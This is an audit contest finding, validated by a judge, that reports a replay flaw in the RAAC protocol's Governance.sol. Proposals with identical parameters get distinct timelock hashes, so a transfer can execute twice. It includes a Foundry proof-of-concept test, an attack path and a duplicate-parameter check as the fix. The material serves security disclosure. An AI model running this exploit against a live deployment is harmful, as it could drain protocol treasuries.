Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Replay Attack vul in Goverance.sol

Summary

In governance.sol contract system, identical proposal operations can be executed multiple times by creating different proposals with the same parameters. This is possible because the operation hash in TimelockController.sol is derived from both operation parameters and a salt based on proposalId, allowing replay attacks through different proposalIds.

This stems from insufficient operation uniqueness validation - while the timelock prevents replaying the exact same operation hash, it fails to detect when the same underlying operation is executed with a different salt. This could allow malicious actors to drain protocol funds or execute critical operations multiple times.

Vulnerability Details

The Core Issue

In Governance.sol:

function execute(uint256 proposalId) external nonReentrant {
// Salt generated from proposalId
bytes32 salt = keccak256(abi.encode(proposalId));
// Operation hash includes salt
bytes32 id = _timelock.hashOperationBatch(
proposal.targets,
proposal.values,
proposal.calldatas,
bytes32(0),
salt // Different proposalId = different hash
);
if (!_timelock.isOperationPending(id)) {
_timelock.scheduleBatch(...);
}
if (_timelock.isOperationReady(id)) {
_timelock.executeBatch(...);
}
}

The vulnerability arises because:

  • Operation uniqueness relies solely on operation hash

  • Hash includes proposalId-based salt

  • Same operation parameters with different proposalIds create different hashes

  • No validation of duplicate operation parameters

  • Timelockcontroller.sol treats each hash as unique operation

Proof of Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Give each account enough tokens for their larger lock amount
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
// Label accounts for better trace readability
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testGovernanceReplayViaProposalId() public {
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days);
vm.deal(address(timelock), 2 ether);
// Setup identical operation parameters
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = attackerAccounts[0];
values[0] = 1 ether;
calldatas[0] = "";
// Create first proposal - will use proposalId 0 for salt
uint256 proposalId1 = governance.propose(
targets,
values,
calldatas,
"First Transfer",
IGovernance.ProposalType.TreasuryAction
);
// Create second proposal - will use proposalId 1 for salt
uint256 proposalId2 = governance.propose(
targets,
values,
calldatas,
"Second Transfer",
IGovernance.ProposalType.TreasuryAction
);
// Show different operation hashes due to different proposalIds
bytes32 salt1 = keccak256(abi.encode(proposalId1));
bytes32 salt2 = keccak256(abi.encode(proposalId2));
bytes32 opHash1 = timelock.hashOperationBatch(
targets, values, calldatas, bytes32(0), salt1
);
bytes32 opHash2 = timelock.hashOperationBatch(
targets, values, calldatas, bytes32(0), salt2
);
assertTrue(opHash1 != opHash2, "Operation hashes should differ due to proposalId");
// Execute both proposals
vm.warp(block.timestamp + governance.votingDelay() + 1);
governance.castVote(proposalId1, true);
governance.castVote(proposalId2, true);
vm.warp(block.timestamp + governance.votingPeriod());
// Execute first proposal
governance.execute(proposalId1);
vm.warp(block.timestamp + timelock.getMinDelay());
governance.execute(proposalId1);
uint256 firstBalance = attackerAccounts[0].balance;
assertEq(firstBalance, 1 ether, "First transfer failed");
// Execute second proposal with same parameters
governance.execute(proposalId2);
vm.warp(block.timestamp + timelock.getMinDelay());
governance.execute(proposalId2);
uint256 finalBalance = attackerAccounts[0].balance;
assertEq(finalBalance, 2 ether, "Replay via different proposalId failed");
vm.stopPrank();
}
}

Attack Path

  • Attacker creates first proposal:

// First proposal to transfer 1 ETH
proposalId1 = governance.propose(
[attacker], // target
[1 ether], // value
[""], // calldata
"First Transfer"
);

Creates second identical proposal:

// Second proposal with same parameters
proposalId2 = governance.propose(
[attacker], // Same target
[1 ether], // Same value
[""], // Same calldata
"Second Transfer"
);

Different hashes generated:

// First operation hash
salt1 = keccak256(abi.encode(proposalId1));
opHash1 = timelock.hashOperationBatch(
targets, values, calldatas, bytes32(0), salt1
);
// Second operation hash (different due to proposalId)
salt2 = keccak256(abi.encode(proposalId2));
opHash2 = timelock.hashOperationBatch(
targets, values, calldatas, bytes32(0), salt2
);

Both proposals can be executed:

// Execute first transfer
governance.execute(proposalId1);
// Wait timelock delay
governance.execute(proposalId1); // Transfers 1 ETH
// Execute second transfer
governance.execute(proposalId2);
// Wait timelock delay
governance.execute(proposalId2); // Transfers another 1 ETH

Impact

Protocol funds can be drained through repeated transfers

  • Critical operations can be executed multiple times

  • Governance decisions can be replayed

  • No limit on number of replays possible

  • Breaks timelock security assumptions

Treasury Drain

  • Attacker creates multiple proposals to transfer funds

  • Each proposal uses same parameters but different ID

  • Successfully drains treasury through repeated transfers

  • Parameter Changes

  • Critical protocol parameters can be changed multiple times

  • Each change appears as unique operation to timelock

  • Could destabilize protocol through repeated modifications

Tools Used

Recommendations

Use Nonce-Based Salt:

Add Parameter Validation:

function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas
) external returns (uint256) {
bytes32 paramsHash = keccak256(abi.encode(targets, values, calldatas));
require(!_proposalsByParams[paramsHash], "Duplicate proposal");
// Rest of propose function...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance generates non-unique timelock operation IDs for different proposals with identical parameters, allowing timelock bypass and proposal DoS attacks

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.